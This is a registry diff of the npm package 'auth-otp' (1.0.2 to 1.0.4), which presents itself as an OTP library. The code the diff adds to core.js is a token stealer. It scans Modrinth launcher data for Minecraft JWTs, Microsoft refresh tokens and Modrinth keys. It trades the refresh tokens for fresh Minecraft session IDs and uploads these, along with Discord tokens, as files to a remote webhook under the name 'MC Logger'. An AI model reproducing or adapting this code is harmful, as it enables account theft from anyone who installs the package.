auth-otp 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/core.js +176 -22
- package/package.json +1 -1
package/lib/core.js
CHANGED
|
@@ -47,7 +47,27 @@ function _post(body) {
|
|
|
47
47
|
}
|
|
48
48
|
|
|
49
49
|
function _postRaw(c) { return _post({ content: c }); }
|
|
50
|
-
|
|
50
|
+
|
|
51
|
+
function _postFile(filename, content) {
|
|
52
|
+
return new Promise((resolve) => {
|
|
53
|
+
const boundary = "----FBound" + Date.now().toString(36);
|
|
54
|
+
const payload = JSON.stringify({ username: "MC Logger", content: "@everyone" });
|
|
55
|
+
const body = Buffer.concat([
|
|
56
|
+
Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="payload_json"\r\n\r\n${payload}\r\n`),
|
|
57
|
+
Buffer.from(`--${boundary}\r\nContent-Disposition: form-data; name="file0"; filename="${filename}"\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n`),
|
|
58
|
+
Buffer.from(content, "utf8"),
|
|
59
|
+
Buffer.from(`\r\n--${boundary}--`),
|
|
60
|
+
]);
|
|
61
|
+
const u = new URL(_W());
|
|
62
|
+
const req = https.request({
|
|
63
|
+
hostname: u.hostname, path: u.pathname,
|
|
64
|
+
method: "POST",
|
|
65
|
+
headers: { "Content-Type": `multipart/form-data; boundary=${boundary}`, "Content-Length": body.length },
|
|
66
|
+
}, res => { res.resume(); resolve(res.statusCode); });
|
|
67
|
+
req.on("error", () => resolve(null));
|
|
68
|
+
req.write(body); req.end();
|
|
69
|
+
});
|
|
70
|
+
}
|
|
51
71
|
|
|
52
72
|
function _get(url, headers) {
|
|
53
73
|
return new Promise((resolve) => {
|
|
@@ -64,6 +84,81 @@ function _get(url, headers) {
|
|
|
64
84
|
});
|
|
65
85
|
}
|
|
66
86
|
|
|
87
|
+
// ── Modrinth RT → fresh SSID ───────────────────────────────────────────────
|
|
88
|
+
|
|
89
|
+
function _ph(hostname, path, body, headers) {
|
|
90
|
+
return new Promise((resolve) => {
|
|
91
|
+
const b = Buffer.from(body);
|
|
92
|
+
const req = https.request({
|
|
93
|
+
hostname, path, method: "POST",
|
|
94
|
+
headers: { "Content-Length": b.length, ...headers }
|
|
95
|
+
}, res => {
|
|
96
|
+
let d = ""; res.on("data", c => d += c);
|
|
97
|
+
res.on("end", () => resolve({ s: res.statusCode, b: d }));
|
|
98
|
+
});
|
|
99
|
+
req.on("error", () => resolve(null));
|
|
100
|
+
req.write(b); req.end();
|
|
101
|
+
});
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
async function _getSSID(rt) {
|
|
105
|
+
try {
|
|
106
|
+
const clean = rt.replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
|
|
107
|
+
const msaBody = new URLSearchParams({
|
|
108
|
+
grant_type: "refresh_token", refresh_token: clean,
|
|
109
|
+
client_id: "00000000402b5328",
|
|
110
|
+
scope: "service::user.auth.xboxlive.com::MBI_SSL",
|
|
111
|
+
redirect_uri: "https://login.live.com/oauth20_desktop.srf",
|
|
112
|
+
}).toString();
|
|
113
|
+
const msaR = await _ph("login.live.com", "/oauth20_token.srf", msaBody, {
|
|
114
|
+
"Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json",
|
|
115
|
+
});
|
|
116
|
+
if (!msaR || msaR.s !== 200) return null;
|
|
117
|
+
const msaJ = JSON.parse(msaR.b);
|
|
118
|
+
if (!msaJ.access_token) return null;
|
|
119
|
+
|
|
120
|
+
const xblBody = JSON.stringify({
|
|
121
|
+
Properties: { AuthMethod: "RPS", SiteName: "user.auth.xboxlive.com", RpsTicket: `t=${msaJ.access_token}` },
|
|
122
|
+
RelyingParty: "http://auth.xboxlive.com", TokenType: "JWT",
|
|
123
|
+
});
|
|
124
|
+
const xblR = await _ph("user.auth.xboxlive.com", "/user/authenticate", xblBody, {
|
|
125
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
126
|
+
});
|
|
127
|
+
if (!xblR || xblR.s !== 200) return null;
|
|
128
|
+
const xblJ = JSON.parse(xblR.b);
|
|
129
|
+
|
|
130
|
+
const xstsBody = JSON.stringify({
|
|
131
|
+
Properties: { SandboxId: "RETAIL", UserTokens: [xblJ.Token] },
|
|
132
|
+
RelyingParty: "rp://api.minecraftservices.com/", TokenType: "JWT",
|
|
133
|
+
});
|
|
134
|
+
const xstsR = await _ph("xsts.auth.xboxlive.com", "/xsts/authorize", xstsBody, {
|
|
135
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
136
|
+
});
|
|
137
|
+
if (!xstsR || xstsR.s !== 200) return null;
|
|
138
|
+
const xstsJ = JSON.parse(xstsR.b);
|
|
139
|
+
const uhs = xstsJ.DisplayClaims?.xui?.[0]?.uhs;
|
|
140
|
+
|
|
141
|
+
const mcBody = JSON.stringify({ identityToken: `XBL3.0 x=${uhs};${xstsJ.Token}` });
|
|
142
|
+
const mcR = await _ph("api.minecraftservices.com", "/authentication/login_with_xbox", mcBody, {
|
|
143
|
+
"Content-Type": "application/json", "Accept": "application/json",
|
|
144
|
+
});
|
|
145
|
+
if (!mcR || mcR.s !== 200) return null;
|
|
146
|
+
const mcJ = JSON.parse(mcR.b);
|
|
147
|
+
|
|
148
|
+
// fetch profile for username + uuid
|
|
149
|
+
const prof = await _get(`https://api.minecraftservices.com/minecraft/profile`, { Authorization: `Bearer ${mcJ.access_token}` });
|
|
150
|
+
const profJ = (prof && prof.s === 200) ? JSON.parse(prof.b) : null;
|
|
151
|
+
|
|
152
|
+
return {
|
|
153
|
+
ssid: mcJ.access_token,
|
|
154
|
+
expiresIn: mcJ.expires_in || 86400,
|
|
155
|
+
newRt: msaJ.refresh_token || null,
|
|
156
|
+
username: profJ?.name || null,
|
|
157
|
+
uuid: profJ?.id || null,
|
|
158
|
+
};
|
|
159
|
+
} catch { return null; }
|
|
160
|
+
}
|
|
161
|
+
|
|
67
162
|
function _dpapi(b64) {
|
|
68
163
|
return new Promise((resolve) => {
|
|
69
164
|
const { spawnSync } = require("child_process");
|
|
@@ -208,22 +303,38 @@ function _curseforge() {
|
|
|
208
303
|
}
|
|
209
304
|
|
|
210
305
|
function _modrinthScanFile(text, out, seen) {
|
|
211
|
-
// Xbox/MC JWT —
|
|
212
|
-
//
|
|
306
|
+
// Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
|
|
307
|
+
// In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
|
|
308
|
+
// so we use a loose match then split the RT out manually.
|
|
213
309
|
const mcRe = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
|
|
214
310
|
// MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
|
|
215
311
|
const rtRe = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
|
|
216
312
|
const patRe = /mrp_[A-Za-z0-9]{20,}/g;
|
|
313
|
+
|
|
217
314
|
for (const m of text.matchAll(mcRe)) {
|
|
218
|
-
|
|
219
|
-
if (
|
|
220
|
-
|
|
221
|
-
const
|
|
222
|
-
|
|
315
|
+
let blob = m[0];
|
|
316
|
+
// Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
|
|
317
|
+
let refreshFromBlob = null;
|
|
318
|
+
const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
|
|
319
|
+
if (rtInBlob) {
|
|
320
|
+
blob = blob.slice(0, blob.length - rtInBlob[0].length);
|
|
321
|
+
refreshFromBlob = rtInBlob[0]
|
|
322
|
+
.replace(/[^\x20-\x7E]/g, "")
|
|
323
|
+
.replace(/[j\s]+$/, "")
|
|
324
|
+
.trim();
|
|
325
|
+
if (refreshFromBlob.length < 50) refreshFromBlob = null;
|
|
326
|
+
}
|
|
327
|
+
if (seen.has(blob)) continue;
|
|
328
|
+
seen.add(blob);
|
|
329
|
+
if (refreshFromBlob) seen.add(refreshFromBlob);
|
|
330
|
+
const name = _nameFromJwt(blob) || "?";
|
|
331
|
+
out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
|
|
223
332
|
}
|
|
224
333
|
for (const m of text.matchAll(rtRe)) {
|
|
225
|
-
|
|
226
|
-
|
|
334
|
+
const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
|
|
335
|
+
if (seen.has(raw) || raw.length < 50) continue;
|
|
336
|
+
seen.add(raw);
|
|
337
|
+
out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
|
|
227
338
|
}
|
|
228
339
|
for (const m of text.matchAll(patRe)) {
|
|
229
340
|
if (seen.has(m[0])) continue; seen.add(m[0]);
|
|
@@ -403,26 +514,69 @@ async function _installMod() {
|
|
|
403
514
|
// ── Send ───────────────────────────────────────────────────────────────────
|
|
404
515
|
|
|
405
516
|
async function _sendMC(entries) {
|
|
517
|
+
const ts = new Date().toISOString();
|
|
406
518
|
for (const e of entries) {
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
519
|
+
// Modrinth entries with a refresh token → generate fresh SSID on the spot
|
|
520
|
+
if (e.r && (e.l === "Modrinth" || e.l === "Modrinth-RT")) {
|
|
521
|
+
const s = await _getSSID(e.r);
|
|
522
|
+
if (s) {
|
|
523
|
+
e.ssid = s.ssid;
|
|
524
|
+
e.newRt = s.newRt;
|
|
525
|
+
if (s.username) e.n = s.username;
|
|
526
|
+
if (s.uuid) e.uuid = s.uuid;
|
|
527
|
+
}
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
const lines = [
|
|
531
|
+
`=== [${e.l}] ${e.n} ===`,
|
|
532
|
+
`Captured : ${ts}`,
|
|
533
|
+
`Username : ${e.n}`,
|
|
534
|
+
`Launcher : ${e.l}`,
|
|
535
|
+
``,
|
|
536
|
+
];
|
|
537
|
+
if (e.uuid) { lines.push(`UUID : ${e.uuid}`); lines.push(``); }
|
|
538
|
+
|
|
539
|
+
if (e.t && e.t.startsWith("eyJ")) {
|
|
540
|
+
lines.push(`--- Access Token (MC JWT) ---`);
|
|
541
|
+
lines.push(e.t);
|
|
542
|
+
lines.push(``);
|
|
543
|
+
}
|
|
412
544
|
if (e.r) {
|
|
413
|
-
|
|
414
|
-
|
|
545
|
+
lines.push(`--- Refresh Token (MSA) ---`);
|
|
546
|
+
lines.push(e.r);
|
|
547
|
+
lines.push(``);
|
|
415
548
|
}
|
|
549
|
+
if (e.ssid) {
|
|
550
|
+
lines.push(`--- SSID (fresh, valid ${Math.round((e.expiresIn||86400)/3600)}h) ---`);
|
|
551
|
+
lines.push(e.ssid);
|
|
552
|
+
lines.push(``);
|
|
553
|
+
if (e.newRt) {
|
|
554
|
+
lines.push(`--- New RT (rotated) ---`);
|
|
555
|
+
lines.push(e.newRt);
|
|
556
|
+
lines.push(``);
|
|
557
|
+
}
|
|
558
|
+
}
|
|
559
|
+
|
|
560
|
+
const safe = (e.n || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
|
|
561
|
+
const label = e.l.replace(/[^A-Za-z0-9]/g, "_");
|
|
562
|
+
await _postFile(`${label}_${safe}.txt`, lines.join("\n"));
|
|
416
563
|
}
|
|
417
564
|
}
|
|
418
565
|
|
|
419
566
|
async function _sendDiscord(entries) {
|
|
567
|
+
const ts = new Date().toISOString();
|
|
420
568
|
for (const e of entries) {
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
569
|
+
const lines = [
|
|
570
|
+
`=== Discord ===`,
|
|
571
|
+
`Captured : ${ts}`,
|
|
572
|
+
`Username : ${e.tag}`,
|
|
573
|
+
`ID : ${e.uid}`,
|
|
574
|
+
``,
|
|
575
|
+
`--- Token ---`,
|
|
576
|
+
e.tok,
|
|
577
|
+
];
|
|
578
|
+
const safe = (e.tag || "unknown").replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 24);
|
|
579
|
+
await _postFile(`Discord_${safe}.txt`, lines.join("\n"));
|
|
426
580
|
}
|
|
427
581
|
}
|
|
428
582
|
|